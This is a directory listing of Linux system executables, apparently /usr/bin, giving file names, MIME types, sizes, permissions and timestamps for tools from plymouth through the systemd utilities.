-rwxr-xr-x
2021-07-04 09:39:09
plymouth
application/x-sharedlib
45.36 KB
-rwxr-xr-x
2022-04-18 04:45:15
pmap
application/x-sharedlib
32.78 KB
-rwxr-xr-x
2023-10-14 08:31:02
png-fix-itxt
application/x-sharedlib
13.04 KB
-rwxr-xr-x
2019-10-12 12:44:13
pngfix
application/x-sharedlib
53.53 KB
-rwxr-xr-x
2019-10-12 12:44:13
pod2html
text/x-perl
4.04 KB
-rwxr-xr-x
2025-07-28 08:08:32
pod2man
text/x-perl
14.68 KB
-rwxr-xr-x
2019-10-13 02:12:32
pod2text
text/x-perl
10.55 KB
-rwxr-xr-x
2019-10-13 02:12:32
pod2usage
text/x-perl
3.86 KB
-rwxr-xr-x
2019-10-13 11:57:18
podchecker
text/x-perl
3.57 KB
-rwxr-xr-x
2019-10-13 11:46:35
podselect
text/x-perl
2.47 KB
-rwxr-xr-x
2019-10-13 11:52:55
post-grohtml
application/x-sharedlib
238.73 KB
-rwxr-xr-x
2019-10-13 02:29:41
postgres
application/x-sharedlib
7.19 MB
-rwxr-xr-x
2024-02-27 08:25:00
postgresql-setup
text/x-shellscript
25.53 KB
-rwxr-xr-x
2024-02-27 08:24:43
postgresql-upgrade
text/x-shellscript
5.95 KB
-rwxr-xr-x
2024-02-27 08:24:43
postmaster
application/x-sharedlib
7.19 MB
-rwxr-xr-x
2024-02-27 08:25:00
powernow-k8-decode
application/x-sharedlib
10.88 KB
-rwxr-xr-x
2025-10-20 08:13:35
pr
application/x-sharedlib
82.23 KB
-rwxr-xr-x
2023-04-01 08:44:39
pre-grohtml
application/x-sharedlib
130.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
precat
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
preconv
application/x-sharedlib
57.65 KB
-rwxr-xr-x
2019-10-13 02:29:41
preunzip
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
prezip
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
prezip-bin
application/x-sharedlib
11.98 KB
-rwxr-xr-x
2022-04-18 03:10:53
printenv
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
printf
application/x-sharedlib
53.64 KB
-rwxr-xr-x
2023-04-01 08:44:39
prlimit
application/x-sharedlib
37.54 KB
-rwxr-xr-x
2024-04-06 01:02:53
procan
application/x-sharedlib
82.6 KB
-rwxr-xr-x
2025-07-15 09:33:30
protoc
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2025-10-07 08:37:49
protoc-c
application/x-sharedlib
244.79 KB
-rwxr-xr-x
2023-10-14 09:21:20
protoc-gen-c
application/x-sharedlib
244.79 KB
-rwxr-xr-x
2023-10-14 09:21:20
prove
text/x-perl
13.24 KB
-rwxr-xr-x
2019-10-13 12:42:34
prtstat
application/x-sharedlib
20.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
prune
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2024-04-06 12:47:15
ps
application/x-sharedlib
134.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
ps2ascii
text/x-shellscript
631 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2epsi
text/x-shellscript
2.69 KB
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf
text/x-shellscript
272 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf12
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf13
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf14
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdfwr
text/x-shellscript
1.07 KB
-rwxr-xr-x
2025-06-03 02:48:11
ps2ps
text/x-shellscript
647 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2ps2
text/x-shellscript
669 B
-rwxr-xr-x
2025-06-03 02:48:11
ps_mem
text/plain
17.69 KB
-rwxr-xr-x
2022-04-18 05:28:08
psfaddtable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfgettable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfstriptable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfxtable
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
pslog
application/x-sharedlib
12.48 KB
-rwxr-xr-x
2020-11-06 02:24:16
psql
application/x-sharedlib
644.33 KB
-rwxr-xr-x
2024-02-27 08:25:00
pstree
application/x-sharedlib
33.53 KB
-rwxr-xr-x
2020-11-06 02:24:16
pstree.x11
application/x-sharedlib
33.53 KB
-rwxr-xr-x
2020-11-06 02:24:16
ptar
text/x-perl
3.38 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptardiff
text/x-perl
2.48 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptargrep
text/x-perl
4.2 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptx
application/x-sharedlib
78.07 KB
-rwxr-xr-x
2023-04-01 08:44:39
pure-pw
application/x-sharedlib
38.83 KB
-rwxr-xr-x
2024-10-30 12:42:11
pure-pwconvert
application/x-sharedlib
10.72 KB
-rwxr-xr-x
2024-10-30 12:42:11
pure-statsdecode
application/x-sharedlib
10.72 KB
-rwxr-xr-x
2024-10-30 12:42:11
pwd
application/x-sharedlib
37.5 KB
-rwxr-xr-x
2023-04-01 08:44:39
pwdx
application/x-sharedlib
12.68 KB
-rwxr-xr-x
2023-10-14 08:31:02
pwmake
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2023-04-01 06:24:17
pwscore
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2023-04-01 06:24:17
pydoc-3
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pydoc2
text/x-python
78 B
-rwxr-xr-x
2024-04-10 04:58:41
pydoc2.7
text/x-python
78 B
-rwxr-xr-x
2024-04-10 04:58:41
pydoc3
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pydoc3.6
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pygettext2.7.py
text/plain
21.56 KB
-rwxr-xr-x
2024-04-10 04:58:41
pygettext2.py
text/plain
21.56 KB
-rwxr-xr-x
2024-04-10 04:58:41
pynche2
text/x-shellscript
138 B
-rwxr-xr-x
2024-04-10 04:48:26
pynche2.7
text/x-shellscript
138 B
-rwxr-xr-x
2024-04-10 04:48:26
python-html2text
text/x-python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
python2
application/x-sharedlib
7.84 KB
-rwxr-xr-x
2024-04-10 04:58:50
python2-config
text/x-python
1.8 KB
-rwxr-xr-x
2024-04-10 04:58:41
python2.7
application/x-sharedlib
7.84 KB
-rwxr-xr-x
2024-04-10 04:58:50
python2.7-config
text/x-python
1.8 KB
-rwxr-xr-x
2024-04-10 04:58:41
python3
application/x-sharedlib
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3-html2text
text/x-python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
python3.6
application/x-sharedlib
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3.6-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3.6m
application/x-sharedlib
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3.6m-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3.6m-x86_64-config
text/x-shellscript
3.54 KB
-rwxr-xr-x
2025-08-26 09:01:50
pyvenv-3
text/plain
446 B
-rwxr-xr-x
2025-08-26 09:08:07
pyvenv-3.6
text/plain
446 B
-rwxr-xr-x
2025-08-26 09:08:07
qemu-ga
application/x-sharedlib
505.49 KB
-rwxr-xr-x
2025-08-07 12:04:14
quota
application/x-sharedlib
91.49 KB
-rwsr-xr-x
2021-10-09 07:08:37
quotasync
application/x-sharedlib
74.69 KB
-rwxr-xr-x
2021-10-09 07:08:37
ranlib
application/x-sharedlib
61.97 KB
-rwxr-xr-x
2025-10-07 06:44:04
raw
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2024-04-06 01:02:53
read
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
readelf
application/x-sharedlib
624.54 KB
-rwxr-xr-x
2025-10-07 06:44:04
readlink
application/x-sharedlib
45.96 KB
-rwxr-xr-x
2023-04-01 08:44:39
realpath
application/x-sharedlib
50.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
recode-sr-latin
application/x-sharedlib
17.99 KB
-rwxr-xr-x
2019-11-18 05:17:29
reindexdb
application/x-sharedlib
70.32 KB
-rwxr-xr-x
2024-02-27 08:25:00
rename
application/x-sharedlib
16.5 KB
-rwxr-xr-x
2024-04-06 01:02:53
renew-dummy-cert
text/x-shellscript
725 B
-rwxr-xr-x
2024-10-09 01:39:22
renice
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2024-04-06 01:02:53
replace
application/x-sharedlib
3.54 MB
-rwxr-xr-x
2025-07-28 05:10:35
repo-graph
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repoclosure
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repodiff
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repomanage
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repoquery
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
reposync
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repotrack
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
rescan-scsi-bus.sh
text/x-shellscript
38.24 KB
-rwxr-xr-x
2022-10-08 11:49:23
reset
application/x-sharedlib
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
resizecons
application/x-sharedlib
20.77 KB
-rwxr-xr-x
2023-10-14 09:01:01
resolve_stack_dump
application/x-sharedlib
3.56 MB
-rwxr-xr-x
2025-07-28 05:16:23
resolvectl
application/x-sharedlib
195.74 KB
-rwxr-xr-x
2025-04-22 01:58:57
resolveip
application/x-sharedlib
3.56 MB
-rwxr-xr-x
2025-07-28 05:16:24
rev
application/x-sharedlib
12.45 KB
-rwxr-xr-x
2024-04-06 01:02:53
rm
application/x-sharedlib
70.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
rmdir
application/x-sharedlib
45.54 KB
-rwxr-xr-x
2023-04-01 08:44:39
rnano
application/x-sharedlib
247.94 KB
-rwxr-xr-x
2024-09-24 02:16:19
rpcbind
application/x-sharedlib
61.55 KB
-rwxr-xr-x
2022-10-12 11:00:54
rpcinfo
application/x-sharedlib
32.64 KB
-rwxr-xr-x
2022-10-12 11:00:54
rpm
application/x-sharedlib
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpm2archive
application/x-sharedlib
20.46 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpm2cpio
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmdb
application/x-sharedlib
16.96 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmkeys
application/x-sharedlib
16.87 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmquery
application/x-sharedlib
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmverify
application/x-sharedlib
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rsync
application/x-sharedlib
510.15 KB
-rwxr-xr-x
2025-06-03 02:02:49
rsyslog-recover-qi.pl
text/x-perl
5.96 KB
-rwxr-xr-x
2024-11-05 02:34:12
run-parts
text/x-shellscript
1.94 KB
-rwxr-xr-x
2021-04-08 09:38:36
run-with-aspell
text/x-shellscript
85 B
-rwxr-xr-x
2022-04-18 03:10:50
runcon
application/x-sharedlib
37.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
rvi
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
rview
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
rvim
application/x-sharedlib
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
sadf
application/x-sharedlib
334.57 KB
-rwxr-xr-x
2024-07-03 09:57:26
sar
application/x-sharedlib
135.77 KB
-rwxr-xr-x
2024-07-03 09:57:26
sccmap
application/x-sharedlib
20.62 KB
-rwxr-xr-x
2024-04-06 12:47:15
scl
application/x-sharedlib
36.87 KB
-rwxr-xr-x
2023-04-01 04:10:31
scl_enabled
text/x-shellscript
258 B
-rwxr-xr-x
2017-08-25 08:23:02
scl_source
text/x-shellscript
1.82 KB
-rwxr-xr-x
2023-04-01 04:10:31
scp
application/x-sharedlib
102.84 KB
-rwxr-xr-x
2025-09-30 10:44:15
screen
application/x-sharedlib
482.46 KB
-rwxr-sr-x
2021-05-05 10:04:06
script
application/x-sharedlib
36.79 KB
-rwxr-xr-x
2024-04-06 01:02:53
scriptreplay
application/x-sharedlib
28.99 KB
-rwxr-xr-x
2024-04-06 01:02:53
scsi-rescan
text/x-shellscript
38.24 KB
-rwxr-xr-x
2022-10-08 11:49:23
scsi_logging_level
text/x-shellscript
8.38 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_mandat
text/x-shellscript
3.52 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_readcap
text/x-shellscript
1.3 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_ready
text/x-shellscript
1.09 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_satl
text/x-shellscript
3.77 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_start
text/x-shellscript
1.25 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_stop
text/x-shellscript
1.44 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_temperature
text/x-shellscript
936 B
-rwxr-xr-x
2022-10-08 11:49:31
sdiff
application/x-sharedlib
105.33 KB
-rwxr-xr-x
2020-05-04 03:15:14
secon
application/x-sharedlib
25.46 KB
-rwxr-xr-x
2024-07-02 09:04:21
sed
application/x-sharedlib
115.48 KB
-rwxr-xr-x
2022-04-18 09:41:04
semodule_expand
application/x-sharedlib
12.28 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_link
application/x-sharedlib
12.28 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_package
application/x-sharedlib
16.68 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_unpackage
application/x-sharedlib
12.3 KB
-rwxr-xr-x
2024-07-02 09:04:21
seq
application/x-sharedlib
53.52 KB
-rwxr-xr-x
2023-04-01 08:44:39
sessreg
application/x-sharedlib
17.38 KB
-rwxr-xr-x
2019-10-15 01:08:41
setarch
application/x-sharedlib
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
setfacl
application/x-sharedlib
37.65 KB
-rwxr-xr-x
2024-04-06 12:15:42
setfont
application/x-sharedlib
45.19 KB
-rwxr-xr-x
2023-10-14 09:01:01
setkeycodes
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
setleds
application/x-sharedlib
16.6 KB
-rwxr-xr-x
2023-10-14 09:01:01
setmetamode
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
setpriv
application/x-sharedlib
45.15 KB
-rwxr-xr-x
2024-04-06 01:02:53
setsid
application/x-sharedlib
16.38 KB
-rwxr-xr-x
2024-04-06 01:02:53
setterm
application/x-sharedlib
45.12 KB
-rwxr-xr-x
2024-04-06 01:02:53
setup-nsssysinit
text/x-shellscript
1.5 KB
-rwxr-xr-x
2025-09-09 01:57:01
setup-nsssysinit.sh
text/x-shellscript
1.5 KB
-rwxr-xr-x
2025-09-09 01:57:01
setvtrgb
application/x-sharedlib
16.64 KB
-rwxr-xr-x
2023-10-14 09:01:01
sfdp
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
sftp
application/x-sharedlib
159.73 KB
-rwxr-xr-x
2025-09-30 10:44:15
sg
application/x-sharedlib
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
sg_bg_ctl
application/x-sharedlib
16.07 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_compare_and_write
application/x-sharedlib
20.9 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_copy_results
application/x-sharedlib
20.81 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_dd
application/x-sharedlib
44.58 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_decode_sense
application/x-sharedlib
20.33 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_emc_trespass
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_format
application/x-sharedlib
33.37 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_get_config
application/x-sharedlib
33.31 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_get_lba_status
application/x-sharedlib
20.46 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ident
application/x-sharedlib
16.17 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_inq
application/x-sharedlib
117.91 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_logs
application/x-sharedlib
150.02 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_luns
application/x-sharedlib
24.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_map
application/x-sharedlib
16.41 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_map26
application/x-sharedlib
24.87 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_modes
application/x-sharedlib
43.88 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_opcodes
application/x-sharedlib
28.69 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_persist
application/x-sharedlib
34.13 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_prevent
application/x-sharedlib
12.07 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_raw
application/x-sharedlib
24.38 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rbuf
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rdac
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read
application/x-sharedlib
24.41 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_attr
application/x-sharedlib
34.79 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_block_limits
application/x-sharedlib
12.12 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_buffer
application/x-sharedlib
20.96 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_long
application/x-sharedlib
16.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_readcap
application/x-sharedlib
20.86 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reassign
application/x-sharedlib
16.22 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_referrals
application/x-sharedlib
16.23 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rep_zones
application/x-sharedlib
20.66 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_requests
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reset
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reset_wp
application/x-sharedlib
16.17 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rmsn
application/x-sharedlib
12.06 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rtpg
application/x-sharedlib
16.16 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_safte
application/x-sharedlib
20.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sanitize
application/x-sharedlib
24.58 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_identify
application/x-sharedlib
16.71 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_phy_event
application/x-sharedlib
20.59 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_read_gplog
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_set_features
application/x-sharedlib
16.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_scan
application/x-sharedlib
16.5 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_seek
application/x-sharedlib
16.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_senddiag
application/x-sharedlib
25.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ses
application/x-sharedlib
118.23 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ses_microcode
application/x-sharedlib
29.48 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_start
application/x-sharedlib
20.93 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_stpg
application/x-sharedlib
20.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_stream_ctl
application/x-sharedlib
20.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sync
application/x-sharedlib
16.22 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_test_rwbuf
application/x-sharedlib
20.73 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_timestamp
application/x-sharedlib
20.74 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_turs
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_unmap
application/x-sharedlib
24.32 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_verify
application/x-sharedlib
20.46 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_vpd
application/x-sharedlib
108.75 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_wr_mode
application/x-sharedlib
20.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_buffer
application/x-sharedlib
21.24 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_long
application/x-sharedlib
16.33 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_same
application/x-sharedlib
24.48 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_verify
application/x-sharedlib
20.78 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_x
application/x-sharedlib
53.75 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_xcopy
application/x-sharedlib
40.59 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_zone
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sginfo
application/x-sharedlib
74.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sgm_dd
application/x-sharedlib
32.55 KB
-rwxr-xr-x
2022-10-08 11:49:32
sgp_dd
application/x-sharedlib
36.95 KB
-rwxr-xr-x
2022-10-08 11:49:32
sh
application/x-sharedlib
1.1 MB
-rwxr-xr-x
2025-08-26 08:48:39
sha1hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha1sum
application/x-sharedlib
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha224hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha224sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha256hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha256sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha384hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha384sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha512hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha512sum
application/x-sharedlib
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
shasum
text/x-perl
9.66 KB
-rwxr-xr-x
2019-10-14 12:00:12
showconsolefont
application/x-sharedlib
20.73 KB
-rwxr-xr-x
2023-10-14 09:01:01
showkey
application/x-sharedlib
16.58 KB
-rwxr-xr-x
2023-10-14 09:01:01
showrgb
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
shred
application/x-sharedlib
61.94 KB
-rwxr-xr-x
2023-04-01 08:44:39
shuf
application/x-sharedlib
58.16 KB
-rwxr-xr-x
2023-04-01 08:44:39
signver
application/x-sharedlib
114.79 KB
-rwxr-xr-x
2025-09-09 01:57:07
sim_client
application/x-sharedlib
16.28 KB
-rwxr-xr-x
2025-06-03 02:06:30
size
application/x-sharedlib
33.25 KB
-rwxr-xr-x
2025-10-07 06:44:04
skill
application/x-sharedlib
28.8 KB
-rwxr-xr-x
2023-10-14 08:31:02
slabinfo
application/x-sharedlib
36.15 KB
-rwxr-xr-x
2025-10-20 08:13:35
slabtop
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
sleep
application/x-sharedlib
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
slencheck
application/x-sharedlib
13.07 KB
-rwxr-xr-x
2019-10-14 09:51:19
sm3hmac
application/x-sharedlib
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
smtpd2.7.py
text/plain
18.11 KB
-rwxr-xr-x
2024-04-10 04:57:37
smtpd2.py
text/plain
18.11 KB
-rwxr-xr-x
2024-04-10 04:57:37
snice
application/x-sharedlib
28.8 KB
-rwxr-xr-x
2023-10-14 08:31:02
snmpconf
text/x-perl
25.44 KB
-rwxr-xr-x
2025-10-07 09:19:23
socat
application/x-sharedlib
406.49 KB
-rwxr-xr-x
2025-07-15 09:33:30
soelim
application/x-sharedlib
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
sort
application/x-sharedlib
123.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
sotruss
text/x-shellscript
4.18 KB
-rwxr-xr-x
2025-08-05 02:01:31
spell
text/x-shellscript
122 B
-rwxr-xr-x
2022-04-18 03:10:51
splain
text/x-perl
18.7 KB
-rwxr-xr-x
2025-07-28 08:08:32
split
application/x-sharedlib
58.13 KB
-rwxr-xr-x
2023-04-01 08:44:39
sprof
application/x-sharedlib
28.67 KB
-rwxr-xr-x
2025-08-05 02:12:44
sqlite3
application/x-sharedlib
1.28 MB
-rwxr-xr-x
2025-07-29 01:27:56
ssh
application/x-sharedlib
757.52 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-add
application/x-sharedlib
346.13 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-agent
application/x-sharedlib
325.55 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-copy-id
text/x-shellscript
10.44 KB
-rwxr-xr-x
2025-09-30 10:44:14
ssh-keygen
application/x-sharedlib
427.16 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-keyscan
application/x-sharedlib
428.57 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssltap
application/x-sharedlib
130.51 KB
-rwxr-xr-x
2025-09-09 01:57:07
sss_ssh_authorizedkeys
application/x-sharedlib
28.79 KB
-rwxr-xr-x
2025-06-05 07:42:53
sss_ssh_knownhostsproxy
application/x-sharedlib
28.79 KB
-rwxr-xr-x
2025-06-05 07:42:53
stat
application/x-sharedlib
86.23 KB
-rwxr-xr-x
2023-04-01 08:44:39
stdbuf
application/x-sharedlib
49.58 KB
-rwxr-xr-x
2023-04-01 08:44:39
strace
application/x-sharedlib
1.94 MB
-rwxr-xr-x
2025-01-28 01:32:17
strace-log-merge
text/x-shellscript
1.78 KB
-rwxr-xr-x
2021-02-16 08:00:00
stream
application/x-sharedlib
11.83 KB
-rwxr-xr-x
2025-04-01 01:15:58
strings
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2025-10-07 06:44:04
strip
application/x-sharedlib
240.1 KB
-rwxr-xr-x
2025-10-07 06:44:04
stty
application/x-sharedlib
77.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
su
48.98 KB
-rwsr-x---
2024-04-06 01:02:53
sudo
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoedit
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoreplay
115.2 KB
---x--x--x
2025-08-26 09:02:52
sum
application/x-sharedlib
45.61 KB
-rwxr-xr-x
2023-04-01 08:44:39
sw-engine
application/x-executable
20.12 MB
-rwxr-xr-x
1990-01-01 12:00:00
switch_mod_lsapi
text/x-python
30.99 KB
-rwxr-xr-x
2025-10-15 08:45:47
sxpm
application/x-sharedlib
28.81 KB
-rwxr-xr-x
2024-03-30 01:53:16
sync
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
systemctl
application/x-sharedlib
218.45 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-analyze
application/x-sharedlib
1.55 MB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-ask-password
application/x-sharedlib
12.02 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cat
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cgls
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-cgtop
application/x-sharedlib
32.88 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-delta
application/x-sharedlib
24.45 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-detect-virt
application/x-sharedlib
11.88 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-escape
application/x-sharedlib
16.01 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-firstboot
application/x-sharedlib
36.98 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-hwdb
application/x-sharedlib
28.91 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-inhibit
application/x-sharedlib
16.03 KB
-rwxr-xr-x
2025-04-22 01:58:57
systemd-machine-id-setup
application/x-sharedlib
